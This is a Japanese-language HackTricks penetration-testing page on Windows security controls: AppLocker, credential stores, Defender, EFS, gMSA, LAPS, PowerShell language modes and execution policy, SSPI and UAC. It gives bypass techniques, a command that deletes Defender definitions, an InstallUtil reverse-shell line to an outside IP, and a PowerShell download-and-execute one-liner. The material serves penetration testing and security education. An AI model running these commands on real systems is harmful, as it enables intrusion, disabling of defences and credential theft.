hacktricks/windows-hardening/authentication-credentials-uac-and-efs.md

22 KiB
Raw Blame History

Windowsセキュリティコントロール

htARTEHackTricks AWS Red Team Expert でAWSハッキングをゼロからヒーローまで学ぶ

HackTricksをサポートする他の方法

Trickestを使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築および自動化します。
今すぐアクセスを取得:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

AppLockerポリシー

アプリケーションホワイトリストは、システム上に存在し実行されることが許可されている承認されたソフトウェアアプリケーションまたは実行可能ファイルのリストです。目的は、特定のビジネスニーズに合致しない有害なマルウェアや非承認のソフトウェアから環境を保護することです。

AppLockerは、Microsoftのアプリケーションホワイトリストソリューションであり、システム管理者にユーザーが実行できるアプリケーションとファイルを制御する権限を与えます。実行可能ファイル、スクリプト、Windowsインストーラファイル、DLL、パッケージ化されたアプリ、パッケージ化されたアプリのインストーラに対して細かい制御を提供します。
組織がcmd.exeとPowerShell.exeをブロックし、特定のディレクトリへの書き込みアクセスを制限することは一般的ですが、これらはすべてバイパスできます

チェック

ブラックリスト/ホワイトリストに登録されているファイル/拡張子をチェックします:

Get-ApplockerPolicy -Effective -xml

Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections

$a = Get-ApplockerPolicy -effective
$a.rulecollections

このレジストリパスには、AppLockerによって適用される構成とポリシーが含まれており、システムに強制されている現在のルールセットを確認する方法を提供しています

  • HKLM\Software\Policies\Microsoft\Windows\SrpV2

バイパス

  • AppLockerポリシーをバイパスするための便利な書き込み可能フォルダAppLockerがC:\Windows\System32またはC:\Windows内で何でも実行を許可している場合、バイパスするために使用できる書き込み可能フォルダがあります。
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\drivers\color
C:\Windows\Tasks
C:\windows\tracing
  • 一般的に信頼される"LOLBAS's" バイナリはAppLockerをバイパスするのに役立つことがあります。
  • 不適切に書かれたルールもバイパスされる可能性があります
  • たとえば、<FilePathCondition Path="%OSDRIVE%*\allowed*"/>のような場合、allowedという名前のフォルダをどこにでも作成することができ、許可されます。
  • 組織はしばしば**%System32%\WindowsPowerShell\v1.0\powershell.exe実行可能ファイルをブロック**することに焦点を当てますが、他のPowerShell実行可能ファイルの場所、たとえば%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exePowerShell_ISE.exeなどを忘れがちです。
  • DLLの強制は非常にまれに有効化されます。システムにかかる追加負荷と、何も壊れないことを確認するために必要なテストの量が理由です。そのため、DLLをバックドアとして使用するとAppLockerをバイパスできます。
  • ReflectivePickSharpPickを使用して、任意のプロセスでPowerShellコードを実行し、AppLockerをバイパスすることができます。詳細については、https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-modeを参照してください。

資格情報の保存

セキュリティアカウントマネージャーSAM

ローカルの資格情報はこのファイルに存在し、パスワードはハッシュ化されています。

ローカルセキュリティ機関LSA- LSASS

資格情報(ハッシュ化された)は、このサブシステムのメモリに保存されます。
LSAは、ローカルのセキュリティポリシー(パスワードポリシー、ユーザー権限など)、認証アクセス証明書などを管理します。
LSAは、ローカルログインのために提供された資格情報をSAMファイル内で確認し、ドメインユーザーを認証するためにドメインコントローラーと通信します。

資格情報は、LSASSプロセス内に保存されますKerberosチケット、ハッシュNTおよびLM、簡単に復号化できるパスワード。

LSAシークレット

LSAはディスクにいくつかの資格情報を保存することがあります

  • Active Directoryのコンピューターアカウントのパスワード到達不能なドメインコントローラー
  • Windowsサービスアカウントのパスワード
  • スケジュールされたタスクのパスワード
  • その他IISアプリケーションのパスワードなど

NTDS.dit

これはActive Directoryのデータベースです。ドメインコントローラーにのみ存在します。

Defender

Microsoft Defenderは、Windows 10やWindows 11、およびWindows Serverのバージョンで利用可能なアンチウイルスソフトウェアです。WinPEASなどの一般的なペンテストツールをブロックします。ただし、これらの保護をバイパスする方法があります。

チェック

Defenderステータスを確認するには、PSコマンドレット**Get-MpComputerStatusを実行できます(RealTimeProtectionEnabled**の値を確認してアクティブかどうかを知る):

PS C:\> Get-MpComputerStatus

[...]
AntispywareEnabled              : True
AntispywareSignatureAge         : 1
AntispywareSignatureLastUpdated : 12/6/2021 10:14:23 AM
AntispywareSignatureVersion     : 1.323.392.0
AntivirusEnabled                : True
[...]
NISEnabled                      : False
NISEngineVersion                : 0.0.0.0
[...]
RealTimeProtectionEnabled       : True
RealTimeScanDirection           : 0
PSComputerName                  :

列挙するためには、次のコマンドを実行することもできます:

WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
wmic /namespace:\\root\securitycenter2 path antivirusproduct
sc query windefend

#Delete all rules of Defender (useful for machines without internet access)
"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All

暗号化ファイルシステムEFS

EFSは、対称鍵であるファイル暗号化キーFEKとして知られる鍵を使用して、ファイルを暗号化して保護します。このキーはユーザーの公開鍵で暗号化され、暗号化されたファイルの$EFS 代替データストリームに保存されます。復号化が必要な場合、ユーザーのデジタル証明書の対応する秘密鍵が使用され、$EFSストリームからFEKを復号化します。詳細はこちらで確認できます。

ユーザーの起動なしでの復号化シナリオには次のものがあります:

  • ファイルやフォルダがFAT32などの非EFSファイルシステムに移動されると、自動的に復号化されます。
  • SMB/CIFSプロトコルを介してネットワーク経由で送信される暗号化されたファイルは、送信前に復号化されます。

この暗号化方法により、所有者は暗号化されたファイルに透過的にアクセスできます。ただし、所有者のパスワードを単に変更してログインしても、復号化は許可されません。

要点

  • EFSは、ユーザーの公開鍵で暗号化された対称FEKを使用します。
  • 復号化には、ユーザーの秘密鍵がFEKにアクセスするために使用されます。
  • 特定の条件下で自動的な復号化が行われます。例FAT32にコピーするか、ネットワーク経由で送信する場合。
  • 追加の手順なしに、暗号化されたファイルに所有者がアクセスできます。

EFS情報の確認

このパスが存在するかどうかを確認して、ユーザーがこのサービス使用したかどうかを確認します:C:\users\<username>\appdata\roaming\Microsoft\Protect

cipher /c \<file>を使用して、ファイルにアクセス権を持つユーザーを確認できます。フォルダ内でcipher /eおよびcipher /dを使用して、すべてのファイルを暗号化および復号化できます。

EFSファイルの復号化

権限システムであること

この方法では、被害者ユーザーがホスト内でプロセス実行している必要があります。その場合、meterpreterセッションを使用して、ユーザーのプロセスのトークンを偽装できます(incognitoimpersonate_tokenを使用)。または、ユーザーのプロセスにmigrateすることもできます。

ユーザーのパスワードを知っている場合

{% embed url="https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files" %}

グループ管理サービスアカウントgMSA

Microsoftは、ITインフラストラクチャ内のサービスアカウントの管理を簡素化するために**グループ管理サービスアカウントgMSAを開発しました。通常のサービスアカウントがしばしば「パスワードの有効期限が切れない」**設定が有効になっているのに対し、gMSAはより安全で管理しやすいソリューションを提供します

  • 自動パスワード管理gMSAは、ドメインまたはコンピューターポリシーに従って自動的に変更される複雑な240文字のパスワードを使用します。このプロセスはMicrosoftのKey Distribution ServiceKDCによって処理され、手動でのパスワード更新の必要性を排除します。
  • 強化されたセキュリティ:これらのアカウントはロックアウトの影響を受けず、対話型ログインに使用することはできません。これによりセキュリティが向上します。
  • 複数ホストのサポートgMSAは複数のホストで共有できるため、複数のサーバーで実行されるサービスに最適です。
  • スケジュールされたタスクの機能管理されたサービスアカウントとは異なり、gMSAはスケジュールされたタスクの実行をサポートします。
  • 簡素化されたSPN管理コンピューターのsAMaccountの詳細やDNS名に変更がある場合、システムは自動的にService Principal NameSPNを更新するため、SPNの管理が簡素化されます。

gMSAのパスワードはLDAPプロパティ_msDS-ManagedPassword_に保存され、ドメインコントローラーDCによって30日ごとに自動的にリセットされます。このパスワードは、MSDS-MANAGEDPASSWORD_BLOBとして知られる暗号化されたデータブロブであり、認証された管理者およびgMSAがインストールされているサーバーのみが取得できます。この情報にアクセスするには、LDAPSなどのセキュアな接続が必要です。または、接続は'Sealing & Secure'で認証する必要があります。

https://cube0x0.github.io/Relaying-for-gMSA/

GMSAPasswordReaderを使用してこのパスワードを読み取ることができます。

/GMSAPasswordReader --AccountName jkohler

この投稿で詳細を確認

また、NTLMリレーアタックを実行してgMSAパスワード読み取る方法についてのwebページをチェックしてください。

LAPS

Local Administrator Password Solution (LAPS) は、Microsoftからダウンロードでき、ローカル管理者パスワードの管理を可能にします。これらのパスワードはランダム化され、ユニークで定期的に変更され、Active Directoryに中央集約されています。これらのパスワードへのアクセスは、ACLを使用して認可されたユーザーに制限されています。適切な権限が付与されると、ローカル管理者パスワードを読み取る機能が提供されます。

{% content-ref url="active-directory-methodology/laps.md" %} laps.md {% endcontent-ref %}

PS Constrained Language Mode

PowerShellのConstrained Language Modeは、COMオブジェクトのブロック、承認された.NETタイプのみの許可、XAMLベースのワークフロー、PowerShellクラスなど、PowerShellを効果的に使用するために必要な多くの機能を制限します。

チェック

$ExecutionContext.SessionState.LanguageMode
#Values could be: FullLanguage or ConstrainedLanguage

バイパス

#Easy bypass
Powershell -version 2

In current Windows that Bypass won't work but you can use PSByPassCLM.
コンパイルするには参照を追加する必要があるかもしれません -> 参照の追加 -> 参照の追加 -> C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll を追加し、プロジェクトを .Net4.5 に変更します

直接バイパス:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U c:\temp\psby.exe

リバースシェル:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe

You can use ReflectivePickまたはSharpPickを使用して、任意のプロセスでPowershellコードを実行し、制約モードをバイパスできます。詳細はhttps://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-modeを参照してください。

PS実行ポリシー

デフォルトではrestrictedに設定されています。このポリシーをバイパスする主な方法:

 Just copy and paste inside the interactive PS console
 Read en Exec
Get-Content .runme.ps1 | PowerShell.exe -noprofile -
 Read and Exec
Get-Content .runme.ps1 | Invoke-Expression
 Use other execution policy
PowerShell.exe -ExecutionPolicy Bypass -File .runme.ps1
 Change users execution policy
Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted
 Change execution policy for this session
Set-ExecutionPolicy Bypass -Scope Process
 Download and execute:
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://bit.ly/1kEgbuH')"
 Use command switch
Powershell -command "Write-Host 'My voice is my passport, verify me.'"
 Use EncodeCommand
$command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand

セキュリティ サポート プロバイダー インターフェイスSSPI

ユーザーの認証に使用できる API です。

SSPI は、通信を行いたい2台のマシンに適切なプロトコルを見つける役割を担います。これには、Kerberos が推奨されます。その後、SSPI は使用する認証プロトコルを交渉し、これらの認証プロトコルはセキュリティ サポート プロバイダーSSPと呼ばれ、各Windowsマシン内にDLLの形式で配置されており、両方のマシンが通信するためには同じものをサポートする必要があります。

主要なSSP

  • Kerberos: 推奨されるもの
  • %windir%\Windows\System32\kerberos.dll
  • NTLMv1 および NTLMv2: 互換性のため
  • %windir%\Windows\System32\msv1_0.dll
  • Digest: Web サーバーおよび LDAP、MD5 ハッシュ形式のパスワード
  • %windir%\Windows\System32\Wdigest.dll
  • Schannel: SSL および TLS
  • %windir%\Windows\System32\Schannel.dll
  • Negotiate: 使用するプロトコルを交渉するために使用されますKerberos または NTLM、デフォルトは Kerberos
  • %windir%\Windows\System32\lsasrv.dll

交渉は複数の方法を提供するか、1つだけを提供するかもしれません。

UAC - ユーザーアカウント制御

ユーザーアカウント制御UAC は、昇格されたアクティビティのための同意プロンプト を有効にする機能です。

{% content-ref url="windows-security-controls/uac-user-account-control.md" %} uac-user-account-control.md {% endcontent-ref %}


Trickest を使用して、世界で最も高度なコミュニティ ツールによって強化された ワークフローを簡単に構築 および 自動化 します。
今すぐアクセスしてください:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}


**ゼロからヒーローまでのAWSハッキングを学ぶ** htARTEHackTricks AWS Red Team Expertで学びましょう!

HackTricks をサポートする他の方法: